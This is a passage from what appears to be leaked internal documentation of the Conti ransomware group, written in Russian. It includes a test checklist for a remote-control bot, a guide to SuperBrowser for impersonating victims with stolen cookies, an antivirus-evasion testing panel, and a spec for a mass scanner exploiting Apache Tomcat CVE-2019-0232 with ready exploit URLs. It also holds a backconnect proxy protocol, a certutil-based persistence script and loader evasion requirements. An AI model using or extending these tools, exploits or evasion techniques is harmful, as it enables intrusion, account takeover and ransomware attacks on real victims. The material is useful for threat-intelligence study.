если иначе не оговорено (например, если это не специальная сборка, которая наоборот показывает запускаемые программы итд итп).
1. Запускаем на целевой ВМ лоадер.
2. Переходим в админку под ролью оператора, которому доступна группа этого бота.
Ждем отстука, в течение 5 минут. Если отстука нет, ошибка, стоп.
Бот должен отображаться как "online", если в течение хотя бы 15 последних минут с ним была связь.
3. Выполняем по очереди команды.
Первая команда может выполниться с задержкой (до 5 минут) - это нормально.
3.1. Get System Info
Должны получить инфу о системе в соотв.вкладке.
3.2. Run .exe с разными комбинациями полей Run Type, Host Process (Mask).
Выбираем для этого такой файл, который не требует сторонних .dll (статически скомпонованный). Например, pscp.exe.
Команда должна выполниться, в результатах выполнения команды должен быть текст вывода этой команды.
* при выборе поля timeout = background run, ответ на команду не ожидается - команда выполняется в фоне и судьба ее нас не интересует.
Бот немедленно готов к приему новых команд.
3.3. Run .dll
TODO
3.4. Run .bat
3.4.1. Вводим какую-нибудь отдельную команду, например hostname, whoami, date /t
Команда должна выполниться, в результатах выполнения команды должен быть текст вывода этой команды.
3.4.2. Заливаем подготовленный .bat-файл из нескольких команд. Тестировщик должен знать результат отработки этого файла на своей машине.
Скрипт должен выполниться, в результатах выполнения команды должен быть текст вывода этого скрипта.
3.5. Run PowerShell
3.5.1. Вводим какую-нибудь отдельную команду, например $PSVersionTable.PSVersion
(выводит версию Powershell)
Команда должна выполниться, в результатах выполнения команды должен быть текст вывода этой команды.
3.5.2. Заливаем подготовленный .ps1-файл из нескольких команд. Тестировщик должен знать результат отработки этого файла на своей машине.
Скрипт должен выполниться, в результатах выполнения команды должен быть текст вывода этого скрипта.
3.6. Reset
Перед выполнением этой команды, нужно запустить выполнение чего-либо длительного (можно попробовать run .bat timeout 10000),
что заблокирует выполнение команд ботом.
После выполнения Reset, предыдущая блокирующая команда должна быть помечена как done, бот готов к приему следующей команды.
3.7. Terminate Process
Команда убивает процесс по его номеру (pid)
Для этого нужно подготовить процесс-жертву (например запустить notepad.exe руками и посмотреть его номер в диспетчере задач).
После выполнения команды процесс должен завершиться.
3.8. Download File
Команда скачивает файл с целевой машины (размер до 10М)
Нужно ввести полный путь к файлу в соотв.поле.
После выполнения команды файл должен быть доступен для скачивания, ссылка должна присутствовать в результатах выполнения команды.
3.9. Suicide
Команда удаляет лоадер с целевой машины.
После перезагрузки машины бот не должен отстукивать.
4. Закрепление.
После перезагрузки машины бот должен отстучать в админку.
5. Детекты.
Не должно быть детектов ни на лоадер, ни на бот.
6. Обновление
6.1. Если запущен лоадер x86 на машине x64, он первым делом должен обновиться до x64 версии себя же,
и далее загружать только x64 бота.
Простыми словами - лоадер должен запускать бота максимально доступной разрядности.
6.2.1. Заходим в раздел админки под ролью QA (это человек, который отвечает за релизы и обновления)
6.2.2. Готовим комплект с новой версией бота и лоадера, в которых прошита та же группа, те же пути обновления.
6.2.3. УзнаЁм у разработчика строку с версией этого комплекта. Примечание: у каждого файла из комплекта может быть своя версия.
6.2.4. Заливаем в панели новые версии файлов, выставляем файлам узнанную на предыдущем шаге версию.
6.2.5. Перезагружаем целевую машину. Обновления должны попасть на машину.

80
Conti Documentation Leak/docs/modules/руководство к Superbrowser.txt

@ -0,0 +1,80 @@
SuperBrowser v.0.70
Описание:
---------
Софт предназначен для имитации работы в броузере, используя чужие отпечатки.
Для этого:
- Модуль граббера собирает профили броузеров (cookies, локаль, временнУю зону и прочее)
- Супербраузер позволяет использовать эти отпечатки для работы под видом этого пользователя.
Настройки для работы с программой:
----------------------------------
Для начала работы необходимо:
- пройти процедуру активации своей машины для работы с SuperBrowser!!!
- установленный TOR Browser
- папка с SuperBrowser со следующим содержимым:
содержит в себе 21 файл. Важными для пользования, являются:
- launcher.exe - для запуска браузера на новых ОС
- launch_win7.cmd - для запуска браузера на старых ОС
- cache - кэш profiles
- profiles - профили для каждого config(новый создается после каждого запуска браузера)
- confs - configs с собранной машины (появляются в папке при запуске браузера с админки хранилища)
- аккаунт в админке ботов
- аккаунт в админке хранилища
Подключаем superbrowser в качестве "почтового агента" к Tor Browser:
1.Открываем Tor браузер.
- вводим about:config
- ищем в поиске опцию network.protocol-handler.external.mailto
- ставим в положение true
Иначе не будет корректно работать mailto.
2.Далее нужно прописать путь к launcher.exe(находится в папке sbrowser) к себе в браузер Tor (в котором открыта админка хранилища):
- Заходим в меню Tor: Setting(Options)-> General -> Applications -> опция mailto
- Прописываем путь к нашему браузеру (поле справа от mailto):
На старых ОС (Windows 7, Windows Server 2008 R2, Windows XP with SP3, Windows Server 2008, Windows Vista и Windows Server 2003) указываем путь к launch_win7.cmd
На новых ОС указываем путь к launcher.exe
(Иначе Mozilla Firefox будет криво работать. Это связано с багами Windows и Firefox.)
* Это делается разово.
Этот хак используется для запуска нашего софта при переходе по специальным ссылкам в админках.
Использование:
--------------
1. Берем работающего бота в админке ботов.
2. Копируем id машины (поле Prefix + Client)
3. Заходим в админку хранилища. Находим машину по id.
4. Заходим по ссылке найденной машины.
В окне данных о машине видим строку вида: Grabber: Chrome Firefox IE Edge Start. Нажимаем Start
(это запускает команду, которая уходит на бота, чтобы там загрузился/стартовал модуль).
Когда сбор совершен, появятся цифры типа: Chrome16-6 Firefox IE:16-6 (возможно, что цифры долго не появятся, но сбор совершен. Зависит от загруженности хранилища)
5. Нажимаем на иконку нужного браузера.
Если настройки прописанного пути к launcher.exe (SuperBrowser) правильны, то запустится launcher.exe с профилем нужного браузера.
* Таким образом сграбленный профиль загружается из хранилища в superbrowser.
В запущеном лаунчере:
- вверху слева окошко выбора профиля браузера, вида : Chrome as Jim(FISHPC).
- во вкладке Values в параметрах есть строка conf.userchrome:
- если выставить false или оставить её пустой, то после нажатия run browser браузер будет мимикрировать под Mozilla Firefox
- если выставить true, то браузер будет мимикрировать под Chrome (если при этом будет выдавать ошибку , игнорировать)
- остальные параметры не трогать.
* Можно проверить наличие куки во вкладке Cookies.
6. Нажать Run Browser (создастся профиль и запустится браузер).
7. Проверяем ссылки браузера.
Дополнительно:
При при проверке сookie через SuperBrowser, возможно вставить socks, в соответствуещее поле. Поле находится сверху справа под названием "Socks (no proxy)".
Возможные ошибки при запуске браузера и их устранение:
---------------------------------------------------
1. ошибка 213 - решается отключением флеш cookies:
1. в окне launcher.exe есть вкладка FlahLso - правой кнопкой жмем - disable all (или убираем все галочки).
2. ошибка 181 - решается: 1. удалить содержимое папки cache (путь sbrowser --> cache).
2. удалить содержимое папки profiles (путь sbrowser --> profiles).
3. перезапустить SuperBrowser.
3. Could not AssignProcessToObject - появляется при запуске SuperBrowser на старых операционных системах отмеченных ниже - нужно прописать путь к launch_win7.cmd (смотреть в пункт настройки Tor).

113
Conti Documentation Leak/docs/modules/руководство оператора криптопанели.txt

@ -0,0 +1,113 @@
КРИПТОПАНЕЛЬ
РУКОВОДСТВО ОПЕРАТОРА
ОБЗОР
Криптопанель является сервисом для автотестирования нагрузки, как специальной (модульный бот, бэкдор), так и произвольной.
Основные виды тестов:
- статическое сканирование на dyncheck.com
- динамическое сканирование на dyncheck.com
- автотесты модульного бота
- автотесты бэкдора
- автотесты на антивирусах (АВ)
Для тестов используется как чужой сервис (dyncheck.com), так и собственная ферма виртуальных машин.
ИНТЕРФЕЙС
Основной раздел Scan поделен на папки (Uncrypted, EXP, ZSS, итд).
С каждой папкой как правило работает отдельный пользователь.
Папки Uncrypted и Others общие.
В Uncrypted попадают некриптованные файлы, откуда их забирают криптеры, криптуют, и результаты складывают в свою папку.
В Others кладется произвольная нагрузка.
При заходе в папку видим файлы.
Для пользователей с соответствующими правами доступна также область для загрузки своих файлов - "Drop your files here or click to upload".
Далее поля:
Name - имя файла
Size - размер файла
Uploaded - дата загрузки
Priority - приоритет - у файлов с высшим приоритетом номер в очереди на тесты первее
Check - запуск тестов:
Static - статическое сканирование на dyncheck.com
Dynamic - динамическое сканирование на dyncheck.com
VM - запуск автотеста на виртуальной машине (ВМ)
Reports - отчеты
* отчеты о статическом сканировании на dyncheck.com
* отчеты о динамическом сканировании на dyncheck.com
* отчеты об автотестах на ВМ
Actions
Download - скачать файл
Delete - удалить файл
В окне запуска автотеста на ВМ мы видим список виртуальных машин, а также поле Test Type (в самом низу).
Типы тестов:
* regular - автотест модульного бота
* newbk - автотест бэкдора
* AV only - тест произвольной нагрузки на АВ
Очевидно, что для тестируемого файла надо выбирать нужный тип теста.
То есть вы должны знать, что именно вы тестируете.
Если вы не знаете, что именно вы тестируете, выбирайте тип теста AV Only.
Нагрузка будет проверена в статике и в динамике.
ОТЧЕТЫ АВТОТЕСТОВ
При чтении отчетов с автотестов, каждая строка отчета сообщает о статусе прохождения определенной проверки.
В начале отчета обычно указан тип антивируса (если он есть на компьютере), например
AV: Bitdefender Total Security
Общие проверки:
- unarchived_static_detect: статическая проверка на АВ
- proactive_detect: динамическая проверка на АВ
- network_status: проверка работоспособности сети на тестовом компьютере
Модульный бот:
- client_installed: бот установлен на компьютере и закреплен. Обычно, после этого указывается идентификатор бота, наподобие
DESKTOP-4KGAMLP_W10014393.3A98863768251B6D725CF14F86EDE3D5|yas43
- client_knocked: бот отстучал в админку (показана строка отстука, наподобие
YYYY-MM-DD HH:MM:SS.MSEC 1 3 online
- client_modules_detect: пост-проверка на АВ - антивирус не снёс бота после загрузки и запуска модулей
Бэкдор:
- для бэкдора показан лог выполнения команд на тестовом компьютере (на сегодня, команда Get_Sysinfo).
- bk_knocked: бэкдор отстучал в админку
Таким образом, можно узнать, что происходило на каждой стадии выполнения нагрузки, и локализовать ошибку, если она есть.
Тест считается полностью пройденным, если пройдены все пункты автотестов.
Однако, это не является гарантией полной работоспособности нагрузки!
Например, потому, что количество окружений тестирования ограничено, и все случаи учесть невозможно.
Кроме того, не все функции нагрузки можно протестировать автоматически.
ПРОБЛЕМЫ
Автотесты - сложная система, и она иногда ломается.
Мы постарались сделать самодиагностику там где можно, но можно не для всего.
В любом случае, если вы видите одно из этих сообщений:
Cryptopanel proxy <url> is down, please call system administrator.
Automatic tests are disabled.
Regular tests are disabled because Lero proxy <url> is down.
Please call system administrator.
New BK tests are disabled because BK proxy <url> is down.
Please call system administrator.
значит что-то не работает и нужно звать кавалерию.
Иногда ошибки видны в отчетах:
* VM dont'get file in 10 min: ВМ не получила файл за 10 минут, задача на тест аннулирована.
Такое происходит когда:
- ВМ медленно работает
- сетевой сбой (нету связи)
- программный сбой скриптов автотеста

108
Conti Documentation Leak/docs/modules/сканер apache tomcat.txt

@ -0,0 +1,108 @@
СКАНЕР УЯЗВИМОСТИ APACHE TOMCAT/CGI-BIN (CVE-2019-0232)
ТЕХНИЧЕСКОЕ ЗАДАНИЕ
ЦЕЛЬ
Необходимо разработать сканер доменов с уязвимостью CVE-2019-0232.
EXPLOIT
Суть эксплойта - в некорректном экранировании командной строки скрипта cgi-bin сервера Apache Tomcat.
Из-за этого возможно удаленное исполнение кода.
Если дать запрос вида
http://localhost/cgi-bin/hello.bat?&whoami
то в результате выполнится cmd.exe /c "whoami"
Подробности описаны по ссылкам:
https://blog.trendmicro.com/trendlabs-security-intelligence/uncovering-cve-2019-0232-a-remote-code-execution-vulnerability-in-apache-tomcat/
https://wwws.nightwatchcybersecurity.com/2019/04/30/remote-code-execution-rce-in-cgi-servlet-apache-tomcat-on-windows-cve-2019-0232/
РЕАЛИЗАЦИЯ
В качестве источника сканирования будем использовать сервис https://www.shodan.io/search?query=apache+tomcat
Для доступа к shodan.io нужна учетка. Но по идее это безопасно даже при реализации как модуль к боту.
Можно предварительно выкачивать нужные данные в формате .csv и загружать их отдельно в боты через конфиги.
Результатом сканирования является список записей с полями:
- URL исходного запроса (http://domain.com/cgi-bin/script.bat?&dir например)
- полный HTTP-ответ на запрос, включая все HTTP-заголовки и тело ответа
- URL whoami-запроса (http://domain.com/cgi-bin/script.bat?&whoami)
- полный HTTP-ответ на запрос whoami (см.ниже), включая все HTTP-заголовки и тело ответа
Алгоритм сканирования следующий:
1. парсим ответ shodan.io на данный запрос, учитывая пейджинг. Получаем из ответа имена сайтов.
ЛИБО работаем по .csv или .json-файлу, экспортированному с сервиса (это платная услуга на сервисе).
2. берем следующий домен с выхода сканера.
3. если в заголовках есть версия серверного ПО, убеждаемся что она меньше 7.0.94, 8.5.40 и 9.0.19 соответствено.
Если версия больше или равна, пропускаем домен, переходим к следующему.
Если версия меньше или отсутствует, продолжаем.
4. делаем запросы
http://domain.com/cgi-bin/hello.bat?&dir
http://domain.com/cgi-bin/hello.bat?&dir
http://domain.com/cgi-bin/test.bat?&dir
http://domain.com/cgi-bin/info.bat?&dir
http://domain.com/cgi-bin/0.bat?&dir
http://domain.com/cgi-bin/1.bat?&dir
Перебор продолжаем, либо пока не переберем все варианты скриптов, либо пока не получим нужный нам ответ.
Как можно видеть, названия файлов варьируются - эти имена лучше забить в массив в программе, и работать перебором.
Названия скриптов для пробы:
hello.bat
helloworld.bat
test.bat
index.bat
info.bat
sysinfo.bat
run.bat
tomcat.bat
0.bat
1.bat
2.bat
...
10.bat
Кроме того, для каждого имени скрипта нужно добавлять цифры от 0 до 9 к его имени.
То есть, для имени hello.bat мы попробуем следующие варианты:
hello.bat
hello0.bat
hello1.bat
..
hello9.bat
ВАЖНО: посмотреть почему метасплойт работает без подбора имени скрипта!
https://www.exploit-db.com/exploits/47073
ОТВЕТ: потому что там имя скрипта задается извне, т.е. мы скрипт на самом деле не знаем.
4. Если был получен код 200 в ответ, следует проанализировать ответ на предмет уязвимости:
- для команды dir в ответе всегда есть устойчивые паттерны
mm.dd.YYYY HH:mm <DIR> .
mm.dd.YYYY HH:mm <DIR> ..
Если этот паттерн присутствует в ответе:
- делаем запрос http://domain.com/cgi-bin/<script>.bat?&whoami
(здесь script - имя того скрипта, для которого удалось получить ответ 200 с искомым паттерном)
- добавляем в результирующий список запросы и ответы.
Сканер должен быть оформлен следующим образом:
* это может быть скрипт на распространенном скриптовом языке (например, python или PowerShell)
* скрипт должен вести лог в текущем каталоге, с именем $(script).log, где $(script) - это имя собственно скрипта
* лог должен иметь отметки даты-времени на каждое событие
* логирование может быть базовым и расширенным - переключается опцией командной строки
* в лог нужно добавлять следующие события:
- старт программы, с ее версией
- обнаружение домена с уязвимостью:
- домен
- версия софта
- полные HTTP-запросы и ответы
каждые Н минут (как вариант - итераций поиска) выводить статистику:
- % доменов просканировано, % уязвимых доменов найдено
- при расширенном логировании нужно логировать каждый HTTP-запрос и ответ (даже если по ним нет успеха).

145
Conti Documentation Leak/docs/modules/тз backconnect-сервер.txt

@ -0,0 +1,145 @@
Бэкконнект-сервер
1 Серверное приложение работает на сервере с операционной системой Windows или Linux (Debian или Ubuntu). Предполагается что будет использоваться модель ASIO (Asynchronious IO) с фиксированным количеством потоков. Единственное обязательное требование: язык с++ (желательно с++11) и сразу 64-битную версию. Нет никаких ограничений по используемым библиотекам.
Подразумевается, что сервер будет работать как демон на сервере (регистрироваться как сервис в системе не обязательно) и у него будут операции: start, stop, restart.
2 Серверное приложение туннелирует входящие соединения из серверного порта для SOCKS5 внутрь туннельного соединения, которое создаёт bc-клиент. Входящие соединения в порт для SOCKS5 назовём ClientConnection, соединения создавемые bc-клиентами назовём DataConnection.
3 Обработка DataConnection. Все DataConnection соединяются к специальному порту, который открывает сервер. Этот порт назовём DataConnPort. В каждом соединении происходит "рукопожатие", в процессе которого bc-клиент проверяет достоверность сервера, а сервер проверяет не продублировалось ли соединение дважды от одного и того же клиента.
После успешного рукопожатия сервер открывает отдельный TCP-порт для SOCKS5 соединений, закреплённый конкретно за данным DataConnection. Все соединения приходящие на этот порт будут туннелироваться в данный DataConnection.
3.1 Рукопожатие в DataConnection происходит сразу после TCP-соединения и происходит по инициативе клиента.
Запрос bc-клиента:
ProtocolVersion: 4 байта
RequestSize: 4 байта
ClientID: 32 байта
RandHash: 16 байт
SelfAddressSize: 1 байт
SelfAddress: 16 байт
RequestSize - размер ответа в байтах. В этот размер включаются размер всех полей кроме ProtocolVersion
ClientID - идентификатор клиент, 32-байтовый блок бинарных данных.
RandHash - 16 байт случайных данных, для того чтобы сервер продублировал их в ответе
SelfAddressSize - размер адреса в поле SelfAddres, может быть 4 или 16
SelfAddress - собственный внешний адрес bc-клиента. Для IPv4 4, для IPv6 16 байт.
Ответ сервера:
ProtocolVersion: 4 байта
ResponseSize: 4 байта
ResponseCode: 4 байта
RandHash: 16 байт
AesKey: 32 байта
Padding: 0-16 байт
ResponseSize - размер ответа в байтах. В этот размер включаются размер всех полей кроме ProtocolVersion
ResponseCode - код ответа сервера. Возможнные значения:
0 - успешно, 1 - сервер перегружен, 2 - внутренняя ошибка на сервере, 3 - не поддерживаемая версия протокола
RandHash - поле RandHash скопированное из запроса.
AesKey - не используется в текущей реализации, заполняется случайными байтами.
Padding - случайные байты в количестве от 0 до 16. В текущей реализации сервер сам выбирает размер этого поля случайным образом и заполняет его случайными байтами.
Если сервер принимает неправильный запрос рукопожатия, то он сразу же закрывает соединение. Если от одного и того же bc-клиента (bc-клиент идентифицируется по полю ClientID) запрос рукопожатия пришёл в то время, когда у него уже есть активный DataConnection, то предыдущий должен быть закрыт немедленно.
Едиственный способ получения адреса bc-клиента - это поле SelfAddress в запросе рукопожатия. Получение адреса пира из сокета неправильный способ потому что между bc-клиентом и сервером может стоять DNAT-прокладка.
3.2 Протокол взаимодействия. Обмен в обе стороны производится с помощью сообщений следующего формата:
ConnectionID: 8 байт
DataSize: 4 байта
XorKey: 4 байта
Data: x байт
ConnectionID - произвольное беззнаковое 64-битное число которое идентифицирует соединение. Сервер и клиент ведут свои списки текущих соединений. Если пришло сообщение с неизвестным ConnectionID, то считается, что создалось новое соединение.
DataSize - размер данных в поле Data. Если размер данных равен нулю, то соединение считается закрытым.
XorKey - 4 байтовый ключ для шифрования поля Data.
Инициировать создание нового соединения может только сервер. Получении сообщений от bc-клиента с неизвестным ConnectionID считается ошибкой bc-клиента, при возникновении данной ситуации DataConnection должно быть разорвано сервером. При получении сообщения с DataSize равным нулю ConnectionID удаляется из внутренней таблицы (как bc-клиента, так и сервера) и ClientConnection ассоциированный с данным ConnectionID должен быть разорван сервером (перед разрывом соединения, сервер должен выслать все данные которые вероятно содержатся во внутреннем буфере сервера и ожидают отправки SOCKS5-клиенту в ClientConnection).
Выбор значения ConnectionID при инициировании нового соединения, остаётся за разработчиком, оно может быть случайным или последовательным с инкрементом.
3.2.1 Шифрование поля Data осуществляется следующим образом: поле Data разибвается на части по 4 байта, с каждой частью производится операция xor со значением XorKey. Если последняя часть имеет размер меньший чем 4 байта, то производится побайтовая операция xor c оставшимися байтами данных. Перед каждой операцией xor, значение XorKey модифицируется следующим образом: производится инкремент чётвертого байта XorKey, после чего он перемещается на первое место, а остальные байты сдвигаются (с первого места на второе, со второго на третье, с третье на четвёртое).
Псевдокод шифрования:
BYTE CurrentXorKey[4];
CopyMemory(CurrentXorKey, XorKey, 4);
int blocks = DataSize/4;
for (int i=0; i<blocks ; i++)
{
ModifyXorKey(CurrentXorKey);
for (int j=0; j<DataSize%4; j++)
{
Data[i*4 +j] ^= CurrentXorKey[j];
}
}
if (DataSize%4)
{
ModifyXorKey(CurrentXorKey);
for (int j=0; j<DataSize%4; j++)
{
Data[blocks*4 +j] ^= CurrentXorKey[j];
}
}
Функция ModifyXorKey:
void ModifyXorKey(unsigned char* pp)
{
unsigned char temp = pp[3];
++temp;
pp[3]=pp[2];
pp[2]=pp[1];
pp[1]=pp[0];
pp[0]=temp;
}
3.3 В случае если у DataConnection произошёл разрыв соединения, необходимо разорвать все ClientConnection связанные с ним. Если по DataConnection нет данных в течении 200 секунд, то его необходимо разорвать.
В DataConnection раз в 180 секунд bc-клиент отправляет тестовые сообщение с ConnectionID равным 0xFFFFFFFFFFFFFFFF и нулевым DataSize. В ответ на это сообщение сервер должен ответить сообщение с ConnectionID равным 0xFFFFFFFFFFFFFFFE. В противном случае, bc-клиент разорвёт соединение.
Если DataConnection не после разрыва соединения не пересоздаётся bc-клиентом некоторый промежуток времени (он задаётся в конфиге сервера), то SOCKS5-порт ассоциированный с данным DataConnection должен быть закрыт и освобождён для других DataConnection.
4 Обработка ClientConnection на сервере должна осуществляться следующим алгоритмом:
1 Приём соединения
2 Если ассоциированный с данным портом DataConnection (произошёл дисконнект или что-то другое) не существует, то закрывает соединение.
3 По протоколу SOCKS5 принимаем запрос аутентификации и отвечаем клиенту что аутентификация не требуется
4 Все остальные данные туннелируем в DataConnection
5 Если в какой-то момент DataConnection перестал существовать (произошёл дисконнект или что-то другое), то закрывает соединение.
5 У серверного приложения есть конфиг, в котором указано количество рабочих потоков, DataConnPort, время актуальности SOCKS5-порта в секундах после деактуализации DataConnection которое закреплено за ним.
Подразумевается что все SOCKS5-порты открываются в фиксированном диапазоне портов от 40000 до 65535.
6 Bc-клиент реализуется в виде исходного кода, который потом будет внедряться в другой проект под ОС Windows. Выбор средств разработки остаётся на разработчиком, но подразумевается, что весь чистые скомпилированные бинарные файлы клиента без вышестоящей логики под обе платформы (x86, x64) не будет превышать 100 КБ. Bc-клиент имеет список адресов серверов куда соединяться, этот список он получает от вышестоящей логики. Список представляет собой пары значений ip:port. Bc-клиент должен перед началом работы их перемешать и начать с ними работать по порядку.
Если с сервером не удаётся соединиться по причине того, что он перегужен (код ответа рукопожатия - 1), то попытка должна быть повторена через 45 секунд. Если после 5 повторов всё равно получен тот же самый результат, то сервер должен быть сменён ена следующий. Любой другой код ошибки в рукопожатии означает немедленную смену сервера. Если соединение вообще не устанавливается (недоступен адрес или порт, серверное приложение не запущено или просто глючит), то означает немедленную смену сервера. Если bc-клиент дошёл до конца списка серверов, то он должен начать сначала. Если со всеми серверами не получается начать работу, ВСЁ РАВНО продолжаем работу до бесконечности, до тех пор пока вышестоящая логика не сменит список серверов.
Если в процессе работы с сервером DataConnection по какой-либо причине был разорван, то bc-клиент должен немедленно создать новый.
6.1 Операции которые bc-клиент предоставляет вышестоящей логике:
SetServerList() - установка нового списка серверов. Если до этого не было никакого списка, то bc-клиент должен начать работу с ними. Если до этого был какой-то список, то bc-клиент разорвать соедиение с текущий сервером, перезаписать список серверов и начать всё заново.
RestartCurrentDataConnection() - разорвать текущий DataConnection и начать заново работу с текущим сервером
ChangeCurrentServer() - разорвать текущий DataConnection и начать заново но уже со следующим сервером в списке
Stop() -разорвать текущий DataConnection и очистить список серверов.
6.2 В DataConnection раз в 180 секунд bc-клиент отправляет тестовые сообщение с ConnectionID равным 0xFFFFFFFFFFFFFFFF и нулевым DataSize. В ответ на это сообщение сервер должен ответить сообщение с ConnectionID равным 0xFFFFFFFFFFFFFFFE и нулевым DataSize. В противном случае, bc-клиент должен разорвать соединение.
6.3 Для получения данных о подключённых клиентах должен быть реализован HTTP-интерейс. Формат запроса
http://ip:port/<key>/<keypass>/<function>/<param1>/<param2>/
где:
key, keypass - данные для аутентификации. Оба параметра могут содержать цифры, латинеские буквы (заглавные и строчные), знаки"_", "-", "+" и символ "точка".
function - наименование вызова
param1, param2 - параметр, зависит от значения function
Все параметры чувствительны к регистру. Все ответы имеют формат text/plain.
Список пар key, keypass , а также список функций разрешённый для каждого из них должен задаваться в конфиге. Также должен завадаться в конфиге порт для HTTP-интерейса.
6.3.1 Функция GetAddress - получение SOCKS5-порта для bc-клиента. Параметр - ID в виде HEX-строки. Ответ: строка со значением порта для SOCKS коннектов.
Пример, запроса:
http://ip:port/3f45td/F324tH3rty+FDyrfh327gter/GetAddress/AABBCCDDEEFF11223344556677889900/
Пример ответа: "30127"
6.3.2 Функция MapPort - проброс локального порта bc-клиента. С использованием функционала программы PortMapper сервер должен отобразить локальный порт целедвого bc-клиента, на порт сервера. Первый параметр - ID в виде HEX-строки, второй параметр целевой локальный порт. Ответ: строка со значением созданного серверного порта.
Пример, запроса для целевого локального порта 65521:
http://ip:port/3f45td/F324tH3rty+FDyrfh327gter/GetAddress/AABBCCDDEEFF11223344556677889900/65521/
Пример ответа: "39017"
6.3.3 Функция GetList - получение полного списка bc-клиентов. Не принимает параметров. Ответ: список данных о bc-клиентах.
Формат списка:
<socks-port>|<ID>|<exit-ip>|<online>\r\n
socks-port - SOCKS5-порт, число
ID - идентификатор bc-клиента в виде HEX-строки
exit-ip - ip-адрес в виде строки
online - может иметь два значения: "Y" - если DataConnection сейчас активный и работает, "N" - если DataConnection сейчас не работает и порт держится в ожидании пересоединения bc-клиента.
В списке никаких лишних пробелов, никаких html. Символы "\r\n" есть даже после последней строки.
Пример, запроса:
http://ip:port/3f45td/F324tH3rty+FDyrfh327gter/GetList/
Пример ответа:
1123|11223344556677889900AABBCCDDEEFF|11.22.33.44|Y\r\n
29021|44556677889900AABBCCDDEEFF112233|90.12.34.56|N\r\n
15696|7889900AABBCCDDEEFF1122334455667|121.125.170.1|Y\r\n
....
Port Mapper
Приложение реализует проброс удалённого порта на локальный порт сервера.
Приложение принимает следующую командную строку:
PortMapper <socks-ip>:<socks-port> <listen-port> <destination-ip>:<destination-port> <idletime>
Например, PortMapper 11.22.33.44:21345 45674 12.34.45.67:443
В этом случае, PortMapper открывает для приёма соединений порт 45674 (<listen-port>). При приёме соединения на 45674, он сразу же инициирует соединение с адресом 12.34.45.67:443 (<destination-ip>:<destination-port>) через прокси 11.22.33.44:21345 (<socks-ip>:<socks-port>), после чего передаёт данные от клиента к 12.34.45.67:443 и от 12.34.45.67:443 к клиенту в режиме обычного реле.
Таким образом, получается что клиент подсоединившийся к порту 45674 на самом деле взаимодействует с 12.34.45.67:443 через прокси. При этом от него скрыт сам адрес 12.34.45.67:443, он видит только серверный порт. При этом адресат 12.34.45.67:443 видит только прокси и не знает про сервер и не знает про клиента присоединившегося к listen-port.
Соединений на listen-port может быть много.
Параметр <idletime> задаёт время простоя в секундах, после которого PortMapper должен атоматически завершиться. Простой означает период в секундах, в течении которого не передано ни одного байтах в обе стороны и не принято ни одного соединения. Если передан хотя бы один байт в одну и сторон хотя бы одному из соединений, то это уже не простой.

64
Conti Documentation Leak/docs/modules/требования к боту.txt

@ -0,0 +1,64 @@
ТРЕБОВАНИЯ К БОТУ
1. Канал связи и протокол
- использование открытых по умолчанию в корп.сетях протоколов: HTTPS, DNS, ICMP
- резервирование каналов связи
- верификация сервера (проверка по цифровой подписи или еще как-нибудь удостовериться, что это не перехват управления)
- поиск командного сервера в условиях отказа всех известных адресов (желательно)
- дополнительное шифрование трафика, в качестве защиты от машинного анализа
- простой для парсинга протокол. В смысле, не json/xml/итд - зачем нам сложные парсеры, если можно без них
- расширяемый протокол. Легкость добавления команд
2. Состояние (stateless-бот)
- нельзя хранить на диске такие вещи как конфиги, ID, ни в файлах, ни в реестре, нигде
То есть бот должен быть "реентерабельным" - способным начать с нуля, сгенерировать свой ид повторяемым образом,
осмотреться в системе и продолжить работу, независимо от предыдущего состояния себя и админки.
- отсюда требование и к протоколу - минимизируем блокирующие запросы, предусматриваем способ сброса таких запросов.
Например: если мы дали команду боту, и в этот момент машина перезагрузилась, то админка будет вечно ждать ответа.
И наоборот, если бот чего-то ожидает от сервера, и связь порвалась, должен быть способ выйти из такого клинча.
3. Закрепление
- желательно дублирование способов закрепления
- желательно использование стеганографии для закрепления.
Например, закрепляем не сам бот, а вот такой скрипт:
@echo off
REM достаем загрузчик из "сертификата"
certutil -decode file.crt file.exe
REM запускаем загрузчик
file.exe
REM ждем пока прогрузится и отработает файл
ping -n 300 127.0.0.1 > NUL
REM удаляем загрузчик, т.к. тот уже успел отработать и запустить нагрузку
del /f /y file.exe
То есть пользуемся штатными утилитами ОС для распаковки и запуска нагрузки, помещая на виду безобидные скрипты.
Также можно использовать хранение в картинке, звуковом файле итд - лишь бы нашелся способ развернуть нагрузку, используя лишь штатные средства.
- желательно разделение бота на загрузчик и нагрузку
4. Защитные меры
Обязательна защита как минимум от машинного анализа.
- обфускация строк и системных вызовов, современными автоматизированными методами
- при необходимости шифрования чего-либо, используем простые средства - XOR гаммирование либо XOR 1 байт.
- проверки на песочницу не нужны, потому что трудно придумать хорошую логику для этого
- можно сделать антиотладку
- использование снятия хуков, защиты от инъекций, включения митигаций, для затруднения отладки и анализа процесса
- если получится, защита от снятия процесса (наподобие как делают АВ)
- можно использовать LLVM-обфускатор для сборки
5. Функционал
- только безфайловые техники, для всего. Ничего не записываем на диск
- наличие cmd-шелла (обязательно)
- наличие powershell-шелла (желательно)
- выполнение произвольного shell-кода https://github.com/DimopoulosElias/SimpleShellcodeInjector/blob/master/SimpleShellcodeInjector.c
- выполнение .exe-файла (желательно)
- запуск .dll (rundll, regsvr) желательно
6. Разделение ботнетов
- бот должен содержать в себе идентификатор ботнета, на случай работы множественных ботнетов через одну админку
7. Автообновление
- бот должен предусматривать автообновление

301
Conti Documentation Leak/docs/modules/требования к лоадеру.txt

@ -0,0 +1,301 @@
НЕРЕЗИДЕНТНЫЙ ЛОАДЕР, ТРЕБОВАНИЯ
ЦЕЛЬ
Нужен загрузчик не из паблика, ранее неизвестный для АВ.
Максимально приветствуются нестандартные подходы к решению задачи доставки и запуска произвольной нагрузки.
ДОСТАВКА
Приветствуются новые методы доставки и обхода SmartScreen:
1. использование нативных утилит ОС для скачивания нагрузки https://lolbas-project.github.io/
2. использование стегано, нестандартных типов нагрузок (картинки, легит.файлы, упаковка под видом сертификатов, инсталляторы и пр.),
как вариант в комбинации с простейшим загрузчиком нулевой ступени (на скриптах).
Под загрузчиком нулевой ступени имеется в виду ситуация, когда юзера каким-либо образом побуждают скопировать с сайта/ввести вручную и выполнить короткий скрипт.
3. использование нативных утилит ОС для сборки и запуска нагрузки
ТРЕБОВАНИЯ К ЛОАДЕРУ
1. Без закрепления
1.1. Без сохранения состояния на диске, в реестре или где-либо еще
2. Идентификация клиента в общем случае необязательна, для этого достаточно IP-адреса. Однако, если идентификатор клиента генерируется, к нему выставляется требование:
